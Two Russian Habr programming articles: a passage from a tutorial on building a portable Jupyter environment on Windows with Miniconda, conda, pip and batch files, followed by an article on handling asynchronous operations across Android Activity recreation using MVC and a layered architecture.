После этого нажимаем Install и начнётся процесс установки:
6. Во время установки можете нажать Show details. Тем самым вы увидите больше информации о том, что именно происходит во время установки. Но это не обязательно.
7. Когда установка закончится, появится фраза «Completed», а кнопка Next станет доступной. Жмём Next
8. В последнем окне нам предлагается узнать про Anaconda Cloud (это первый флажок) и как начать работу с Anaconda (второй флажок). Мне ничего из этого не нужно, поэтому я снимаю все флажки и нажимаю Finish. Установка Miniconda завершена.
После установки Miniconda в папке `C:\Dev` мы увидим новую папку `Miniconda` весом примерно 340 Мб. Да, это немало, и она ещё будет раздуваться. Позже я покажу, как быстро и безопасно уменьшать её объём.
Зайдём в папку `Miniconda`. Немного прокрутив список файлов, мы увидим `python.exe`. Тот самый Python 3.7, который установился в моём случае (на скриншоте Directory Opus).
Если дважды кликнуть по `python.exe` — запустится консольное окно, в котором можно вводить команды Python.
Вы можете для теста после `>>>` ввести:
```
import antigravity
```
и нажать Enter. Откроется браузер по умолчанию с комиксом про Python на [xkcd](https://xkcd.com/353/).
В папке `C:\Dev\Miniconda\Scripts` мы найдём `conda.exe`. Эта та самая консольная команда, с помощью которой мы будем создавать виртуальное окружение Python.
Создание структуры каталогов
----------------------------
Теперь у нас всё готово для того, чтобы начать создание портативной сборки Jupyter Notebook. Для начала создадим следующую структуру каталогов:
```
C:\
Dev\
Jupyter\
dist\
apps\
conf\
backup\
ipython\
jupyter\
matplotlib\
fonts\
projects\
```
В папке `Dev` создайте папку `Jupyter`. В свою очередь в папке `Jupyter` создайте папки `dist` и `projects`. В папке `dist` будет виртуальное окружение Python со всеми необходимыми библиотеками, файлы настроек, дополнительные программы, шрифты — всё, что необходимо для нашей разработки на Python в среде Jupyter Notebook или Jupyter Lab. Папка `projects` — это место по умолчанию для проектов. Сам я эту папку обычно не использую, и она остаётся пустой. Но если мне понадобится передать программу другому пользователю вместе с настроенным Jupyter, я положу свою программу в эту папку `projects`, сделаю архив всей папки `Jupyter` и отправлю архив пользователю.
Папка `apps` содержит вспомогательные программы. Например, я часто кладу туда портативную версию FFMPEG, которая нужная Matplotlib для создания анимации.
Папка `conf` содержит настройки различных библиотек. В нашем случае для IPython, Jupyter и Matplotlib.
В папку `conf\backup` я кладу копии своих файлов настроек на случай, если в будущем где-то напортачу с настройками.
Папка `fonts` содержит шрифты, которые могут быть использованы, например, в Matplotlib. Лично мне понравились Roboto и PTSerif.
Кроме папок `apps`, `conf` и `fonts` вы можете создать и другие папки на своё усмотрение. Например, папку `temp` для временных файлов.
Создание переносимого виртуального окружения Python
---------------------------------------------------
### Создание виртуального окружения с помощью conda
Откройте командную строку (+R → `cmd.exe` → Enter) и введите\*:
```
C:\Dev\Miniconda3\Scripts\conda.exe create -p C:\Dev\Jupyter\dist\pyenv3.7-win64 --copy --yes python=3 conda
```
\*Для установки более свежих версий библиотек можно подключить канал `conda-forge` через аргумент `-c conda-forge`:
```
C:\Dev\Miniconda3\Scripts\conda.exe create -p C:\Dev\Jupyter\dist\pyenv3.7-win64 --copy --yes -c conda-forge python=3 conda
```
Если потом понадобится удалить канал `conda-forge`, зайдите в Проводнике в папку `%userprofile%`, найдите в ней файл `.condarc`, откройте его блокнотом и удалите строку `conda-forge`.
Рассмотрим эту команду. Сначала идёт полный путь к `conda.exe`. Если при установке Minconda вы поставили галочку «Add Anaconda to the system PATH environment variable», вместо полного пути достаточно написать просто `conda`.
Слово `create` даёт команду создания нового окружения. Аргумент `-p` говорит о том, что это окружение должно быть создано там, где мы укажем, а не в папке `C:\Dev\Miniconda3\envs`. В примере прописан полный путь и название будущей папки `pyenv3.7-win64` (расшифровка: python 3.7 environment for Windows 64-bit). Если у вас командная строка открыта в папке `dist` или вы с помощью команды `cd` заранее перешли в эту папку, вместо полного пути можно было написать просто `pyenv3.7-win64`.
Аргумент `--copy` сообщает`conda`, что в виртуальном окружении должны быть установлены сами пакеты. В противном случае пакет будет установлен в папке `C:\Dev\Miniconda3`, а в виртуальном окружении будет ссылка на него. Вы не заметите эту подмену, пока не попробуете запустить виртуальное окружение на другом компьютере.
Далее идёт перечисление пакетов. Прежде всего мы должны установить сам Python третьей версии. Также я обязательно указываю `conda`. Т.е. программа `conda` будет установлена дважды: в составе Miniconda и в виртуальном окружении. Установка `conda` в виртуальном окружении увеличивает его размер совсем чуть-чуть, но даст возможность пользователю обновить пакеты в виртуальном окружении на компьютере, где Miniconda не установлена. Это делает виртуальное окружение полностью автономным. Вы можете даже деинсталлировать Miniconda после создания виртуального окружения, и оно продолжит работать как ни в чём не бывало. Я, правда, оставляю Miniconda на тот случай, если какому-то приложению понадобится Python.
Вообще, кроме Python и conda можно было сразу указать необходимые пакеты, но в 2018 году я перестал так делать и вместо этого стал использовать для установки пакетов `pip`. Во-первых, новейшие версии `pip` стали скачивать `.whl` файлы с уже скомпилированными библиотеками, и проблемы с установкой ряда библиотек исчезли. Во-вторых, размер виртуального окружения при установке пакетов через `pip` получается в 3 раза меньше, чем при установке пакетов через `conda`.
### Исправление ошибки `HTTP 000 CONNECTION FAILED` при создании виртуального окружения
У одного из пользователей при выполнении команды
```
C:\Dev\Miniconda3\Scripts\conda.exe create -p C:\Dev\Jupyter\dist\pyenv3.7-win64 --copy --yes -c conda-forge python=3 conda
```
столкнулся с ошибкой следующего содержания:
```
> C:\Users\Asus>C:\Dev\Miniconda3\Scripts\conda.exe create -p C:\Dev\Jupyter\dist\pyenv3.7-win64 --copy --yes -c conda-forge python=3 conda Collecting package metadata: failed CondaHTTPError: HTTP 000 CONNECTION FAILED for url Elapsed: - An HTTP error occurred when trying to retrieve this URL. HTTP errors are often intermittent, and a simple retry will get you on your way. SSLError(MaxRetryError('HTTPSConnectionPool(host=\'conda.anaconda.org\', port=443): Max retries exceeded with url: /conda-forge/win-64/repodata.json (Caused by SSLError("Can\'t connect to HTTPS URL because the SSL module is not available."))'))
```
Мне потребовался не один час, чтобы разобраться с ней, потому что на первый взгляд проблема либо с некорректной установкой Miniconda либо с сетью. У некоторых корпоративных пользователей действительно был заблокирован этот ресурс, но проблема происходила у пользователя дома. Переустановка Miniconda не помогла.
В итоге оказалось, что данная ошибка означает, что `conda.exe` не нашло файл `openssl.exe`. В итоге было применено следующее решение:
1. Создали папку `C:\Dev\openssl`.
2. В папке `C:\Dev\Miniconda3\pkgs` нашли папку, название которой начинается с `openssl`. Например, `openssl-1.1.1a-he774522_0`. Если папок несколько, выбираем ту, у которой в названии номер больше.
3. В найденной папке ищем файл `openssl.exe` и копируем `openssl.exe` и **все файлы и папки**, которые лежат вместе с `openssl.exe`, в `C:\Dev\openssl`.
4. В Проводнике Windows заходим в «Этот компьютер» (где перечисляются все диски на компьютере). В свободном месте правым кликом мыши открываем контекстное меню и выбираем в самом низу пункт «Свойства».
5. В открывшемся окне находим «Дополнительные параметры системы»:
6. На вкладке «Дополнительно» находим кнопку Переменные среды:
7. **Для Windows 7 и 8:** в разделе «Переменные среды для пользователя» дважды кликаем по переменной `Path`. Если в конце строки отсутствует точка с запятой, поставим её, и в конце этой строки допишем:
```
C:\Dev\openssl;
```
**Для Windows 10:** в разделе «Переменные среды для пользователя» дважды кликаем по переменной `Path`. В итоге должно появиться такое окно:
Нажимаем кнопку «Создать» и вставляем путь `C:\Dev\openssl`.
8. Закройте и откройте командную строку снова. Теперь всё должно работать. Если вдруг не заработало — надо гуглить ошибку или обращаться на форумы.
### Активация виртуального окружения
Когда создание виртуального окружения закончится, окно будет выглядеть примерно так:
После создания виртуального окружения установим пакеты через `pip`. Сначала необходимо активировать виртуальное окружение. Для этого в окне команд введите:
```
C:\Dev\Jupyter\dist\pyenv3.7-win64\Scripts\activate
```
В результате вы должны получить примерно следующее:
Слово `(base)` в начале строки как указывает на то, что мы вошли в нужное нам виртуальное окружение.
### Установка пакетов Python в виртуальном окружении
Теперь можно установить пакеты\*:
```
pip --no-cache-dir install numpy scipy matplotlib jupyter jupyterlab
```
Аргумент `--no-cache-dir` сообщает `pip`, что не следует кешировать скачанные пакеты. Это позволит нам не увеличивать размер папки виртуального окружения.
\*Существует разработанная Intel библиотека [MKL (Math Kernel Library)](https://software.intel.com/en-us/mkl)(en), которая ускоряет работу на больших данных для популярных библиотек Python, в частности, Numpy и Scipy. Если вы хотите установить Numpy и Scipy, которые используют MKL, следует [использовать](https://software.intel.com/en-us/articles/installing-the-intel-distribution-for-python-and-intel-performance-libraries-with-pip-and)(en) `intel-numpy` вместо `numpy` и `intel-scipy` вместо `scipy`:
```
pip --no-cache-dir install intel-numpy intel-scipy matplotlib jupyter jupyterlab
```
У меня получилось установить `intel-numpy` и `intel-scipy` только в виртуальном окружении с Python 3.6. Если вы хотите использовать Numpy и Scipy с MKL в окружении с Python 3.7, необходимо использовать команду:
```
conda install numpy scipy
```
Если вы не уверены, что ставить, используйте просто `numpy` и `scipy`.
Если в процессе установки через `pip` возникнут ошибки, попробуйте установить проблемные пакеты через `conda`. Пример:
```
conda install numpy scipy matplotlib jupyter jupyterlab
```
### Выход из виртуального окружения Python
После того, как установка завершена, необходимо выйти из виртуального окружения. Для этого в командной строке наберите\*:
```
conda.bat deactivate
```
\*Раньше я набирал просто `deactivate`, но это почему-то устарело, и надо набирать `conda.bat deactivate`. Даже `conda deactivate` будет неправильно.
Подготовка портативной сборки Jupyter к запуску
-----------------------------------------------
Создадим несколько `.bat` файлов, которые будут заставят Jupyter и Matplotlib хранить настройки в папке `dist\config`, а также будут управлять запуском Jupyter Notebook и Jupyter Lab.
### Настройка переменных окружения для Jupyter, IPython и Matplotlib
Каталоги размещения настроек определяются переменными среды Windows. Изменив эти переменные, мы заставим Jupyter и Matplotlib хранить свои файлы там, где это нужно именно нам. В папке `C:\Dev\Jupyter\dist` создайте файл `setenv.bat` следующего содержания:
```
@echo off
set conf_path=%~dp0\conf
set JUPYTER_CONFIG_DIR=%conf_path%\jupyter
set JUPYTER_DATA_DIR=%conf_path%\jupyter\data
set JUPYTER_RUNTIME_DIR=%conf_path%\jupyter\data\runtime
set IPYTHONDIR=%conf_path%\ipython
set MPLCONFIGDIR=%conf_path%\matplotlib
REM Matplotlib search FFMPEG in PATH variable only!
set PATH=%~dp0\apps\ffmpeg\bin;%PATH%
```
Разберём, что делается в этом файле.
Команда `@echo off` необходима для того, чтобы в командной строке не выводилось сообщение при выполнении каждой строки нашего файла.
Команда `set` создаёт переменную. Конструкция `%~dp0` означает полный путь к `setenv.bat`. Обратите внимание, что пробелов до и после знака `=` быть не должно.
Затем мы настраиваем переменные для Jupyter:
* `JUPYTER_CONFIG_DIR` — папка для файлов конфигурации Jupyter ([документация](https://jupyter.readthedocs.io/en/latest/projects/jupyter-directories.html#configuration-files)(en)),
* `JUPYTER_DATA_DIR` — папка для устанавливаемых файлов данных (расширения и ядра (`kernel`) для Jupyter) ([документация](https://jupyter.readthedocs.io/en/latest/projects/jupyter-directories.html#data-files)(en)),
* `JUPYTER_RUNTIME_DIR` — папка для исполняемых файлов Jupyter (`runtime files`) ([документация](https://jupyter.readthedocs.io/en/latest/projects/jupyter-directories.html#runtime-files)(en)),
* `IPYTHONDIR` — папка для файлов конфигурации IPython ([документация](https://ipython.readthedocs.io/en/stable/development/config.html#configuration-file-location)(en)),
* `MPLCONFIGDIR` — папка, где Matplotlib хранит свои настройки и кэш ([документация](https://matplotlib.org/faq/troubleshooting_faq.html#matplotlib-configuration-and-cache-directory-locations)(en)).
Если вы планируете создавать анимации с Matplotlib, вам понадобится [FFMPEG](https://ru.wikipedia.org/wiki/FFmpeg)(ru). Я [скачиваю](https://ffmpeg.zeranoe.com/builds/)(en) zip архив FFMPEG, распаковываю его содержание `C:\Dev\Jupyter\dist\apps\ffmpeg`.
Строка, которая начинается с `REM` — комментарий. Matplotlib почему-то ищет FFMPEG только в `%PATH%`. Я записываю путь к FFMPEG в начало `%PATH`, а не в его конец, чтобы при поиске первым нашёлся тот FFMPEG, который я положил в `dist\apps`.
### Создание файла для запуска Jupyter с настройками пользователя
В папке `C:\Dev\Jupyter\dist` создайте файл `run_jupyter_notebook.bat` следующего содержания:
```
@echo off
call %~dp0\setenv.bat
call %~dp0\pyenv3.7-win64\Scripts\jupyter-notebook.exe --notebook-dir=%1
```
Аналогично, в папке `C:\Dev\Jupyter\dist` создайте файл `run_jupyter_lab.bat` следующего содержания:
```
@echo off
call %~dp0\setenv.bat
call %~dp0\pyenv3.7-win64\Scripts\jupyter-lab.exe --notebook-dir=%1
```
Каждый из этих файлов сначала выполняет `setenv.bat`, т.е. настраивает переменные окружения, потом запускает Jupyte Notebook или Jupyter Lab и указывает ему, где папка с нашими файлами для проекта.
Предположим, что есть папка `D:\my-projects`, в которой мы будем хранить файлы Jupyter Notebook или Lab. В этой папке создайте ярлыки на файлы `run_jupyter_notebook.bat` и `run_jupyter_lab.bat`. После этого в обязательном порядке откройте свойства каждого из этих ярлыков и сделайте пустой строку «Рабочая папка». Если вы этого не сделаете — Jupyter не увидит вашу папку!
После того, как это сделали, можете кликнуть дважды по любому из ярлыков. Сначала появится новое окно командной строки, потом откроется браузер по умолчанию и в нём запустится Jupyter Notebook или Lab в новой вкладке. Поздравляю: квест пройден!
### Дополнительные файлы для выполнения служебных действий
Для Jupyter Notebook написаны [расширения](https://github.com/ipython-contrib/jupyter_contrib_nbextensions) (о них будет подробнее в части 2). Но их недостаточно установить. Их ещё надо активировать. Согласно [документации](https://jupyter-contrib-nbextensions.readthedocs.io/en/latest/install.html#enabling-disabling-extensions), вам нужно сделать следующее (не выполняйте эту команду!):
```
jupyter nbextension enable
```
Но мы не можем выполнить команду в таком виде, потому что настройки окажутся вне портативной сборки. Мы должны сделать иначе:
```
C:\Dev\Jupyter\dist\setenv.bat
C:\Dev\Jupyter\dist\pyenv3.7-win64\Scripts\jupyter.exe nbextension enable
```
Чтобы упростить себе задачу, мы можем в папке `C:\Dev\Jupyter\dist` создать файл `enable_extension.bat` следующего содержания:
```
@echo off
REM Enable extension in Jupyter Notebook.
REM Example:
REM enable_extension.bat widgetsnbextension
call %~dp0\setenv.bat
call %~dp0\pyenv3.7-win64\Scripts\jupyter-nbextension.exe enable %1
```
В итоге наша запись в окне командной строки сократится и станет такой:
```
C:\Dev\Jupyter\dist\enable_extension.bat
```
Если вам время от времени в окне команд нужно запускать различные действия с `jupyter`, можно создать в папке `C:\Dev\Jupyter\dist` файл `jupyter.bat` следующего содержания:
```
@echo off
call %~dp0\setenv.bat
call %~dp0\pyenv3.7-win64\Scripts\jupyter.exe %1 %2 %3 %4 %5 %6 %7 %8 %9
```
Аналогично можно сделать для запуска `IPython` и других случаев.
---
Заключение
----------
Часть 1 подошла к концу. Мы создали полностью портативную и переносимую сборку Jupyter и можем работать с файлами, которые лежат в нужной нам папке. Для этого создаём ярлыки на `run_jupyter_notebook.bat` и `run_jupyter_lab.bat`, в свойствах ярлыков обязательно очищаем строку Рабочая папка», и всё готово к работе.
В части 2 будут рассмотрены различные вопросы кастомизации Jupyter Notebook, Jupyter Lab и Matplotlib. Научимся подключать расширения в Jupyter Notebook и Jupyter Lab, настраивать сочетания клавиш, размер шрифта и прочие настройки, напишем свои «магические команды».
Если у вас остались вопросы, но нет аккаунта на Хабре, вот мои контакты:
ВК: <https://vk.me/sindzicat>
Telegram: <https://t.me/sindzicat>
E-mail: [sh.andr.gen@yandex.ru](mailto:sh.andr.gen@yandex.ru) | https://habr.com/ru/post/438934/ | null | ru | null |
# Асинхронные операции и пересоздание Activity в Android
В одной статье на хабре ([274635](https://habrahabr.ru/post/274635/)) было продемонстрировано любопытное решение для передачи объекта из `onSaveInstanceState` в `onRestoreInstanceState` без сериализации. Там используется метод `writeStrongBinder(IBInder)` класса `android.os.Parcel`.
Такое решение корректно функционирует до тех пор, пока Android не выгрузит ваше приложение. А он вправе это сделать.
> …system may safely kill its process to reclaim memory for other foreground or visible processes…
>
> (<http://developer.android.com/intl/ru/reference/android/app/Activity.html>)
>
>
Однако это не главное. (Если приложению не нужно восстанавливать свое состояние после такого рестарта, то подойдет и это решение).
А вот цель, для чего там используются такие «несериализуемые» объекты мне показалась странной. Там через них передаются вызовы из асинхронных операций в `Activity`, чтобы обновить отображаемое состояние приложения.
Я всегда думал, что со времен Smalltalk, любой разработчик распознает эту типовую задачу проектирования. Но кажется я оказался не прав.
Задача
------
* По команде от пользователя (`onClick()`) запустить асинхронную операцию
* По завершению операции отобразить результат в `Activity`
Особенности
* `Activity`, отображаемая в момент завершения операции, может оказаться
+ та же, из которой поступила команда
+ другим экземпляром того же класса (поворот экрана)
+ экземпляром другого класса (пользователь перешел на другой экран в приложении)
* На момент завершения операции может оказаться, что ни одна `Activty` из приложения не отображается
В последнем случае результаты должны отображаться при следующем открытии `Activity`.
Решение
=======
MVC (с активной моделью) и Layers.
Подробное решение
=================
Вся остальная часть статьи — это объяснение что такое MVC и Layers.
Поясню на конкретном примере. Пусть нам необходимо построить приложение «Электронный билет в электронную очередь».
1. Пользователь входит в отделение банка, нажимает в приложении кнопку «Взять билет». Приложение посылает запрос на сервер и получает билет.
2. Когда подходит очередь в приложении отображается номер окошка в которое нужно обратиться.
Получение билета от сервера я сделаю с помощью асинхронной операции. Также асинхронными операциями будут считывание билета из файла (после перезапуска) и удаление файла.
Построить такое приложение можно из несложных компонентов. Например:
1. Компонент где будет находиться билет (`TicketSubsystem`)
2. `TicketActivity` где будет отображаться билет и кнопка «Взять билет»
3. Класс для Билета (номер билета, позиция в очереди, номер окошка)
4. Класс для Асинхронной операции получения билета
Самое интересное то, как эти компоненты взаимодействуют.
*Приложение вовсе не обязано содержать компонент `TicketSubsystem`. Билет мог бы находиться
в статическом поле `Ticket.currentTicket`, или в поле в классе-наследнике `android.app.Application`.
Однако очень важно, чтобы состояние есть/нет билета исходило из объекта способного выполнять роль
`Модель` из `MVC` — т. е. генерировать уведомления при появлении (или замене) билета.*
Если сделать `TicketSubsystem` моделью в терминах `MVC`, то `Activity` сможет подписаться на события и обновить отображение билета когда тот будет загружен. В этом случае `Activity` будет выполнять роль `View` (`Представление`) в терминах `MVC`.
Тогда асинхронная операция «Получение нового билета» сможет просто записать полученный билет в `TicketSubsystem` и больше ни о чем не заботиться.
Модель
------
Очевидно, что моделью должен являться билет. Однако в приложении билет не может «висеть» в воздухе. Кроме того, билет изначально не существует, он появляется только по завершению асинхронной операции. Из этого следует, что в приложении должно быть еще что-то где будет находиться билет. Пусть это будет `TicketSubsystem`. Сам билет также должен быть как-то представлен, пусть это будет класс `Ticket`. Оба этих класса должны быть способны выполнять роль активной модели.
### Способы построения активной модели
Активная модель — модель оповещает представление о том, что в ней произошли изменения. [wikipedia](https://ru.wikipedia.org/wiki/Model-View-Controller)
В java есть несколько вспомогательных классов для создания активной модели. Вот например:
1. `PropertyChangeSupport` и `PropertyChangeListener` из пакета `java.beans`
2. `Observable` и `Observer` из пакета `java.util`
3. `BaseObservable` и `Observable.OnPropertyChangedCallback` из `android.databinding`
Мне лично нравится третий способ. Он поддерживает строгое именование наблюдаемых полей, благодаря аннотации `android.databinding.Bindable`. Но есть и другие способы, и все они подходят.
А в Groovy есть замечательная аннотация [groovy.beans.Bindable](http://docs.groovy-lang.org/2.3.2/html/api/index.html?groovy/beans/Bindable.html). Вместе с возможностью краткого объявления свойств объекта получается очень лаконичный код (который опирается на `PropertyChangeSupport` из `java.beans`).
```
@groovy.beans.Bindable
class TicketSubsystem {
Ticket ticket
}
@groovy.beans.Bindable
class Ticket {
String number
int positionInQueue
String tellerNumber
}
```
Представление
-------------
`TicketActivity` (как практически все объекты относящиеся к представлению) появляется и исчезает по воле пользователя. Приложение всего лишь должно корректно отображать данные в момент появления `Activity` и при изменении данных пока отображается `Activity`.
Итак в `TicketActivity` нужно:
1. Обновлять UI виджеты при изменении данных в `ticket`
2. Подключать слушателя к Ticket когда он появится
3. Подключать слушателя к `TicketSubsytem` (чтобы обновить вид, когда появится `ticket`)
### 1. Обновление UI виджетов.
*В примерах в статье я буду использовать `PropertyChangeListener` из `java.beans` ради демонстрации
подробностей. А в исходном коде по ссылке внизу статьи будет использоваться библиотека `android.databinding`,
как обеспечивающая самый лаконичный код.*
```
PropertyChangeListener ticketListener = new PropertyChangeListener() {
@Override
public void propertyChange(PropertyChangeEvent event) {
updateTicketView();
}
};
void updateTicketView() {
TextView queuePositionView = (TextView) findViewById(R.id.textQueuePosition);
queuePositionView.setText(ticket != null ? "" + ticket.getQueuePosition() : "");
...
}
```
### 2. Подключение слушателя к ticket
```
PropertyChangeListener ticketSubsystemListener = new PropertyChangeListener() {
@Override
public void propertyChange(PropertyChangeEvent event) {
setTicket(ticketSubsystem.getTicket());
}
};
void setTicket(Ticket newTicket) {
if(ticket != null) {
ticket.removePropertyChangeListener(ticketListener);
}
ticket = newTicket;
if(ticket != null) {
ticket.addPropertyChangeListener(ticketListener);
}
updateTicketView();
}
```
Метод `setTicket` при замене билета удаляет подписку на события от старого билета и подписывается на события от нового билета. Если вызывать `setTicket(null)`, то `TicketActivity` отпишется от событий `ticket`.
### 3. Подключение слушателя к TicketSubsystem
```
void setTicketSubsystem(TicketSubsystem newTicketSubsystem) {
if(ticketSubsystem != null) {
ticketSubsystem.removePropertyChangeListener(ticketSubsystemListener);
setTicket(null);
}
ticketSubsystem = newTicketSubsystem;
if(ticketSubsystem != null) {
ticketSubsystem.addPropertyChangeListener(ticketSubsystemListener);
setTicket(ticketSubsystem.getTicket());
}
}
@Override
protected void onPostCreate(@Nullable Bundle savedInstanceState) {
super.onPostCreate(savedInstanceState);
setTicketSubsystem(globalTicketSubsystem);
}
@Override
protected void onStop() {
super.onStop();
setTicketSubsystem(null);
}
```
Код получается довольно простым и прямолинейным. Но без использования специальных инструментов приходится писать довольно много однотипных операций. Для каждого элемента в иерархии модели приходится заводить поле и создавать отдельный слушатель.
Асинхронная операция «Взять билет»
----------------------------------
Код асинхронной операции тоже довольно простой. Основная идея в том, чтобы по завершению асинхронной операции записывать результаты в `Модель`. А `Представление` обновится по уведомлению из `Модели`.
```
public class GetNewTicket extends AsyncTask {
private int queuePosition;
private String ticketNumber;
@Override
protected Void doInBackground(Void... params) {
SystemClock.sleep(TimeUnit.SECONDS.toMillis(2));
Random random = new Random();
queuePosition = random.nextInt(100);
ticketNumber = "A" + queuePosition;
// TODO записать данные билета в файл, чтобы можно было
// его загрузить после перезапуска приложения.
return null;
}
@Override
protected void onPostExecute(Void aVoid) {
Ticket ticket = new Ticket();
ticket.setNumber(ticketNumber);
ticket.setQueuePosition(queuePosition);
globalTicketSubsystem.setTicket(ticket);
}
}
```
Здесь ссылка `globalTicketSubsystem` (она также упоминалась в `TicketActivity`) зависит от способа компоновки подсистем в вашем приложении.
Восстановление состояния при рестарте
-------------------------------------
Допустим, что пользователь нажал кнопку «Взять билет», приложение послало запрос на сервер, а в это время случился входящий звонок. Пока пользователь отвечал на звонок, пришел ответ от сервера, но пользователь об этом не знает. Мало того, пользователь нажал «Home» и запустил какое-нибудь приложение, которое сожрало всю память и системе пришлось выгрузить наше приложение.
И вот наше приложение должно отобразить билет полученный до рестарта.
Чтобы обеспечить эту функциональность я буду записывать билет в файл и считывать его после старта приложения.
```
public class ReadTicketFromFileextends AsyncTask {
...
@Override
protected Void doInBackground(File... files) {
// Считываем из файла в number, positionInQueue, tellerNumber
}
@Override
protected void onPostExecute(Void aVoid) {
Ticket ticket = new Ticket();
ticket.setNumber(number);
ticket.setPositionInQueue(positionInQueue);
ticket.setTellerNumber(tellerNumber);
globalTicketSubsystem.setTicket(ticket);
}
}
```
Layers
------
Этот шаблон определяет правила по которым одним классам позволяется зависеть от других классов, так чтобы не возникало чрезмерной запутанности кода. Вообще это семейство шаблонов, а я ориентируюсь на вариант Крейга Лармана из книги «Применение UML и шаблонов проектирования». [Вот здесь есть диаграмма](http://csis.pace.edu/~marchese/CS616/Lec11/se_l11.htm).
Основная идея в том, что классам с нижних уровней нельзя зависеть от классов с верхних уровней. Если разместить наши классы по уровням `Layers`, то получится примерно такая диаграмма:
Обратите внимание, что все стрелочки, что пересекают границы уровней, направлены строго вниз! `TicketActivity` создает `GetNewTicket` — стрелка вниз. `GetNewTicket` создает `Ticket` — стрелка вниз. Анонимный `ticketListener` реализует интерфейс `PropertyChangeListener` — стрелка вниз. `Ticket` оповещает слушателей `PropertyChangeListener` — стрелка вниз. И т. д.
То есть любые зависимости (наследование, использование в качестве типа члена класса, использование в качестве типа параметра или типа возвращаемого значения, использование в качестве типа локальной переменной) допустимы только к классам на том же уровне или на уровнях ниже.
Еще капельку теории, и перейдем к коду.
### Назначение уровней
Объекты на уровне `Domains` отражают бизнес-сущности с которыми работает приложение. Они должны быть независимы от того как устроено наше приложение. Например наличие поля `positionInQueue` у `Ticket` обусловлено бизнес требованиями (а не тем, как мы написали наше приложение).
Уровень `Application` — это граница того, где может располагаться логика приложения (кроме формирования внешнего вида). Если нужно сделать какую-то полезную работу, то код должен оказаться здесь (или ниже).
Если нужно сделать что-то обладающее внешним видом, то это класс для уровня `Presentation`. А значит этот класс может содержать только код отображения, и никакой логики. За логикой ему придется обращаться к классам с уровня `Application`.
Принадлежность класса к определенному уровню `Layers` — условна. Класс находится на заданном уровне до тех пор пока выполняет его требования. То есть в результате правки класс может перейти на другой уровень, или стать непригодным ни для одного уровня.
Как определить на каком уровне должен находиться заданный класс? Я поделюсь скромной эвристикой, а вообще рекомендую изучить доступную теорию. Начинайте хоть [здесь](https://en.wikipedia.org/wiki/Multilayered_architecture).
Эвристика
1. Если приложению удалить Уровень Представления, то оно должно быть в состоянии выполнить все свои функции (кроме демонстрации результатов). Наше приложение без Уровня Представления всё ещё будет содержать и код для запроса билета, и сам билет, и доступ к нему.
2. Если объект какого-то класса что-то отображает, или реагирует на действия пользователя, то его место на Уровне Представления.
3. В случае противоречий — разделяйте класс на несколько.
Код
===
В репозитории <https://github.com/SamSoldatenko/habr3> находится описанное здесь приложение, построенное с применением `android.databinding` и `roboguice`. Посмотрите код, а здесь я кратко объясню какой выбор я делал и по каким причинам.
**Краткие объяснения**1. Зависимость `com.android.support:appcompat-v7` добавлена потому что коммерческие разработки опираются на эту библиотеку для поддержки старых версий android.
2. Зависимость `com.android.support:support-annotations` добавлена для использования аннотации `@UiThread` (там много других полезных аннотаций).
3. Зависимость `org.roboguice:roboguice` — библиотека для внедрения зависимостей. Используется чтобы компоновать приложение из частей с помощью аннотаций [Inject](https://habrahabr.ru/users/inject/). Также эта библиотека позволяет внедрять ресурсы, ссылки на виджеты и содержит механизм пересылки сообщений похожий на CDI Events из JSR-299.
* `TicketActivity` c помощью аннотации `@Inject` получает ссылку на `TicketSubsystem`.
* Асинхронная задача `ReadTicketFromFile` с помощью аннотации `@InjectResource` получает имя файла из ресурсов, из которого нужно загрузить билет.
* `TicketSubsystem` с помощью `@Inject` получает `Provider` который использует чтобы создать `ReadTicketFromFile`.
* и др.
4. Зависимость `org.roboguice:roboblender` создает базу данных всех аннотаций для `org.roboguice:roboguice` во время компиляции, которая затем используется во время выполнения.
5. Добавлен файл `app/lint.xml` с настройками для подавления предупреждений от библиотеки `roboguice`.
6. Опция `dataBinding` в `app/build.gradle` разрешает специальный синтаксис в layout файлах похожий на `Expression Language` (`EL`) и подключает пакет `android.databinding`, который используется чтобы сделать `Ticket` и `TicketSubsystem` активной моделью. В результате код представлений сильно упрощается и заменяется на декларации в layout файле. Например:
```
```
7. Папка `.idea` внесена в `.gitignore` чтобы использовать любые версии `Android Studio` или `IDEA`. Проект отлично импортируется и синхронизируется через файлы `build.gradle`.
8. Конфигурация gradle wrapper оставлена без изменений (файлы `gradlew`, `gradlew.bat` и папка `gradle`). Это очень эффективный и удобный механизм.
9. Настройка `unitTests.returnDefaultValues = true` в `app/build.gradle`. Это компромисс между защищенностью от случайных ошибок в модульных тестах и краткостью модульных тестов. Здесь я отдал предпочтение краткости модульных тестов.
10. Библиотека `org.mockito:mockito-core` используется для создания заглушек в модульных тестах. Кроме того эта библиотека позволяет описать «System Under Test» с помощью аннотаций `@Mock` и `@InjectMocks`. *При использовании Dependency Injection компоненты «ожидают» что перед их использованием им будут внедрены зависимости. Перед тестами также требуется внедрить все зависимости. `Mockito` умеет создавать и внедрять заглушки в тестируемый класс. Это очень упрощает код тестов, особенно если внедряемые поля имеют ограниченную видимость. См. GetNewTicketTest.*
11. Почему `Mockito`, а не `Robolectric`?
1. Разработчики Android рекомендуют таким способом писать локальные модульные тесты.
2. Так получается самый быстрый проход цикла «правка» — «прогон тестов» — «результат» (важно для TDD).
3. Robolectric больше подходит для интеграционного тестирования, чем для модульного.
12. Библиотека `org.powermock:powermock-module-junit` и `org.powermock:powermock-api-mockito`. Некоторые вещи не удается заменить заглушками. Например подменить статический метод или подавить вызов метода базового класса. Для этих целей `PowerMock` подменяет загрузчик классов и правит байт-код. В `TicketActivityTest` с помощью `PowerMock` подавляется вызов `RoboActionBarActivity.onCreate(Bundle)` и задается возвращаемое значение из вызова статического метода `DataBindingUtil.setContentView`
13. Почему многие поля классов имеют область видимости package local?
1. Это прикладной код, а не библиотека. То есть мы контролируем весь код который использует наши классы. Следовательно нет необходимости скрывать поля.
2. Видимость полей из тестов упрощает написание модульных тестов.
14. Почему тогда все поля не public?
Public член класса — это обязательство взятое на себя классом перед всеми другими классами, существующими и теми, что появятся в будущем. А package local — обязательство только перед теми, кто находится в том же пакете в то же время. Таким образом менять package local поле (переименовать, удалять, добавлять новое) можно, если при этом обновить все классы в пакете.
15. Почему переменная `LogInterface log` не статическая?
1. Незачем писать код инициализации самому. DI справляется с этой задачей лучше.
2. Чтобы легче было подменять логгер заглушкой. Вывод в лог в определенных случаях «специфицирован» и проверяется в тестах.
16. Зачем нужны `LogInterface` и `LogImpl` которые всего лишь потомки похожих классов из RoboGuice?
Чтобы прописать конфигурацию Roboguice аннотацией `@ImplementedBy(LogImpl.class)`.
